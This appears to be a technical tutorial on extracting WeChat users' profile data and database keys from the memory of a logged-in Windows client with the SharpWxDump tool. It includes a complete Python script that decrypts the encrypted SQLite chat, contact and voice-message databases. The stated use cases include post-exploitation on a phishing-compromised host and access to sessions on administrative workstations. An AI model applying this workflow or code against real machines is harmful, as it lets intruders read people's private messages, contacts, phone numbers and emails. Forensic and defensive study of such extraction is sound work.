Extracting user information and chat records from the Windows desktop version of WeChat involves understanding its internal storage mechanisms, memory structures, and encryption schemes. This process is particularly relevant in digital forensics, incident response, or red team operations where a target machine is already compromised and WeChat is running in a logged-in state.
Implementation Overview
A practical tool for this purpose is available at: SharpWxDump. The repository requires periodic updates because WeChat frequently changes memory offsets between versions. Each new release may alter the location of critical data structures, necessitating reverse engineering to locate user identifiers, keys, and profile details anew.
Use cases include:
- Post-exploitation on a phishing-compromised host where WeChat remains logged in.
- Accessing WeChat sessions on administrative or developer workstations.
- Forensic evidence collection requiring offline analysis of chat databases.
- Personal backup of encrypted message history.
Prerequisites: WeChat must be running and authenticated. The tool checks for:
- A running WeChat process (fails if not found).
- An active session (older versions allowed partial data extraction without login; newer versions do not).
- If valid, it retrieves: process ID, WeChat version, nickname, username, phone number, email (in older versions), and the database decryption key.
Version-Specific Behavior
WeChat version 3.7.0.30 marks a significant change:
- Versions ≤ 3.7.0.30: User profile data (including email) was stored in
AccInfo.dat, readable even without an active session. - Versions > 3.7.0.30:
AccInfo.datno longer contains sensitive profile fields. Email is no longer retrievable via memory scraping, even when logged in.
This update effectively closed the offline data extraction vector for personal information.
Chat Database Decryption
WeChat stores chat messages in SQLite databases encrypted with AES-256-CBC. The decryption key (WechatKey) is derived from the user’s credentials and can be extracted from memory during an active session.
Database locations (under %AppData%/Tencent/WeChat/):
wxid_xxxxxxxx\Msg\Multi\MSG0.db → Primary chat log
wxid_xxxxxxxx\Msg\Multi\MSG1.db → Overflow (created when MSG0.db > 240 MB)
wxid_xxxxxxxx\Msg\MicroMsg.db → Contacts (in "Contact" table)
wxid_xxxxxxxx\Msg\MediaMsg.db → Encrypted voice messages (SILK format)
Decryption script (Python):
import sys, getopt
from Crypto.Cipher import AES
import hashlib, hmac, ctypes
SQLITE_HEADER = b'SQLite format 3' + b'\x00'
PAGE_SIZE = 4096
ITERATIONS = 64000
KEY_LEN = 32
def decrypt_db(key_hex: str, db_path: str):
password = bytes.fromhex(key_hex.replace(' ', ''))
with open(db_path, 'rb') as f:
raw = f.read()
salt = raw[:16]
first_page = raw[16:PAGE_SIZE]
# Derive main key
key = hashlib.pbkdf2_hmac('sha1', password, salt, ITERATIONS, KEY_LEN)
# Verify HMAC
mac_salt = bytes([b ^ 58 for b in salt])
mac_key = hashlib.pbkdf2_hmac('sha1', key, mac_salt, 2, KEY_LEN)
h = hmac.new(mac_key, digestmod='sha1')
h.update(first_page[:-32])
h.update(ctypes.c_int(1).value.to_bytes(4, 'little'))
if h.digest() != first_page[-32:-12]:
print("Invalid key or corrupted database")
return
print("Decryption verified – proceeding...")
# Rebuild decrypted database
pages = [raw[i:i+PAGE_SIZE] for i in range(PAGE_SIZE, len(raw), PAGE_SIZE)]
with open(db_path, 'wb') as f:
f.write(SQLITE_HEADER)
# Decrypt first page
iv = first_page[-48:-32]
cipher = AES.new(key, AES.MODE_CBC, iv)
f.write(cipher.decrypt(first_page[:-48]))
f.write(first_page[-48:]) # Keep HMAC and IV
# Decrypt subsequent pages
for page in pages:
if len(page) < 48:
f.write(page)
continue
iv = page[-48:-32]
cipher = AES.new(key, AES.MODE_CBC, iv)
f.write(cipher.decrypt(page[:-48]))
f.write(page[-48:])
if __name__ == "__main__":
opts, _ = getopt.getopt(sys.argv[1:], 'hk:d:')
key = ''
db_file = ''
for opt, val in opts:
if opt == '-k':
key = val
elif opt == '-d':
db_file = val
if key and db_file:
decrypt_db(key, db_file)
else:
print("Usage: python3 decrypt.py -k <hex_key> -d <database.db>")
Usage:
python3 decrypt.py -k "a1b2c3d4..." -d "./MSG0.db"
After successful decryption, the .db file becomes a standard SQLite database that can be opened with tools like DB Browser for SQLite or Navicat for plaintext message inspection.